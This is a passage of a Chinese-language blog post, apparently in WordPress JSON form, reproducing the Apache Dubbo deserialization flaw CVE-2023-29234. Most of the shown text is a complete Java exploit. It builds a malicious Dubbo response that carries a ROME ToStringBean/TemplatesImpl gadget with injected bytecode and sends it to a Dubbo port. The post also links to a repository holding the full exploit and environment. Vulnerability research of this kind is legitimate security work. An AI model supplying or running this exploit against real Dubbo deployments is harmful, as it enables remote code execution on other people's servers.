src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-115231-6-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u6d89\u53ca\u5230\u4e86\u4e00\u70b9 Dubbo \u534f\u8bae\u4ea4\u4e92\u7684\u4e1c\u897f\uff0c\u6211\u6ca1\u600e\u4e48\u770b\u61c2\uff0c\u4e0d\u8fc7\u770b\u5230\u6211\u5b66\u957f\u4e4b\u524d\u6709\u641e\u597d\u7684\uff1a<a href=\"https:\/\/github.com\/RacerZ-fighting\/DubboPOC\/blob\/main\/src\/main\/java\/top\/lz2y\/vul\/CVE202329234.java\">https:\/\/github.com\/RacerZ-fighting\/DubboPOC\/blob\/main\/src\/main\/java\/top\/lz2y\/vul\/CVE202329234.java<\/a>\uff0c\u8fd9\u91cc\u6211\u53ea\u628a\u534f\u8bae\u4ea4\u4e92\u7684\u8fd9\u4e00\u90e8\u5206\u62c6\u51fa\u6765\u4e86\uff0c\u5176\u4ed6\u7684\u8fd8\u662f\u6211\u81ea\u5df1\u5199\u7684\u3002<\/p>\n\n\n\n<p>\u56e0\u4e3a\u8fd9\u91cc\u7684\u5165\u53e3\u70b9\u662ftoString\uff0c\u6240\u4ee5\u6211\u4eec\u4e5f\u53ea\u9700\u8981rome\u94fe\u4eceToStringBean.toString\u5f00\u59cb\u7684\u90e8\u5206\uff0cgadget\u4e3a\uff1aToStringBean.toString() -&gt; TemplatesImpl#getOutputProperties\uff0c\u5b8c\u6574\u4ee3\u7801\u5982\u4e0b\uff08<code>top.lz2y.vul.EvilTest<\/code>\u662f\u63d0\u524d\u914d\u597d\u7684\u7c7b\uff0c\u4e3b\u8981\u5c31\u662f\u5f39\u4e86\u4e00\u4e0b\u8ba1\u7b97\u5668\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package top.lz2y.vul;\n\nimport com.sun.syndication.feed.impl.ToStringBean;\nimport org.apache.dubbo.common.io.Bytes;\nimport org.apache.dubbo.common.serialize.Serialization;\nimport org.apache.dubbo.common.serialize.nativejava.NativeJavaObjectOutput;\nimport org.apache.dubbo.common.serialize.nativejava.NativeJavaSerialization;\nimport org.apache.dubbo.remoting.exchange.Response;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport javassist.ClassPool;\nimport javassist.CtClass;\n\nimport java.io.ByteArrayOutputStream;\nimport java.lang.reflect.Field;\n\nimport javax.xml.transform.Templates;\nimport java.io.OutputStream;\nimport java.net.Socket;\n\nimport static org.apache.dubbo.rpc.protocol.dubbo.DubboCodec.RESPONSE_WITH_EXCEPTION;\n\npublic class CVE202329234 {\n    protected static final int HEADER_LENGTH = 16;\n    protected static final short MAGIC = (short) 0xdabb;\n\n    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n\n    public static void main(String&#91;] args) throws Exception {\n\n        ByteArrayOutputStream boos = new ByteArrayOutputStream();\n        ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();\n        Serialization serialization = new NativeJavaSerialization();\n        NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);\n\n        byte&#91;] header = new byte&#91;HEADER_LENGTH];\n        Bytes.short2bytes(MAGIC, header);\n        header&#91;2] = serialization.getContentTypeId();\n\n        header&#91;3] = Response.OK;\n        Bytes.long2bytes(1, header, 4);\n\n        \/\/ payload\u7684\u751f\u6210\uff0c\u56e0\u4e3a\u8fd9\u91cc\u7684\u5165\u53e3\u70b9\u662ftoString\uff0c\u6240\u4ee5\u6211\u4eec\u4e5f\u53ea\u9700\u8981rome\u94fe\u4eceToStringBean.toString\u5f00\u59cb\u7684\u90e8\u5206\n        \/\/ gadget\u4e3a\uff1aToStringBean.toString() -&gt; TemplatesImpl#getOutputProperties()\n        ClassPool pool = ClassPool.getDefault();\n        pool.insertClassPath(\"target\/classes\");\n        CtClass clazzz = pool.get(\"top.lz2y.vul.EvilTest\");\n        byte&#91;] code = clazzz.toBytecode();\n        TemplatesImpl templates = new TemplatesImpl();\n        setFieldValue(templates, \"_bytecodes\", new byte&#91;]&#91;]{code});\n        setFieldValue(templates, \"_name\", \"HelloTemplatesImpl\");\n        setFieldValue(templates, \"_tfactory\", new TransformerFactoryImpl());\n\n        ToStringBean exp = new ToStringBean(Templates.class, templates);\n        out.writeByte(RESPONSE_WITH_EXCEPTION);\n        out.writeObject(exp);\n\n        out.flushBuffer();\n\n        Bytes.int2bytes(nativeJavaBoos.size(), header, 12);\n        boos.write(header);\n        boos.write(nativeJavaBoos.toByteArray());\n\n        byte&#91;] responseData = boos.toByteArray();\n\n        Socket socket = new Socket(\"127.0.0.1\", 20880);\n        OutputStream outputStream = socket.getOutputStream();\n        outputStream.write(responseData);\n        outputStream.flush();\n        outputStream.close();\n    }\n\n}\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-185916-6-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-185916-6-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u5305\u62ec\u4ee3\u7801\u548c\u73af\u5883\u5728\u5185\u90fd\u653e\u5728github\u4e86\uff1a<a href=\"https:\/\/github.com\/Fushuling\/DubboPOC\">https:\/\/github.com\/Fushuling\/DubboPOC<\/a><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u53c2\u8003<\/h1>\n\n\n\n<p><a href=\"https:\/\/www.freebuf.com\/vuls\/392596.html\">Apache dubbo\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790\uff08CVE-2023-29234\uff09<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/xz.aliyun.com\/news\/12633\">Apache dubbo \u90e8\u5206\u5386\u53f2\u6f0f\u6d1e\u4ee5\u53ca CVE-2023-29234 \u5206\u6790<\/a><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u524d\u8a00 \u53d4\u53d4\u7684\u4efb\u52a1\uff0c\u590d\u73b0\u4e00\u624b CVE-2023-29234 \u73af\u5883\u642d\u5efa \u4ece\u5b98\u65b9\u7684\u6f0f\u6d1e\u516c\u544a\u53ef\u4ee5\u770b\u5230\uff0c\u5f71\u54cd\u7684\u7248\u672c\u662f\uff1a  [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3943","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3943","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=3943"}],"version-history":[{"count":12,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3943\/revisions"}],"predecessor-version":[{"id":3958,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3943\/revisions\/3958"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=3943"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=3943"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=3943"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}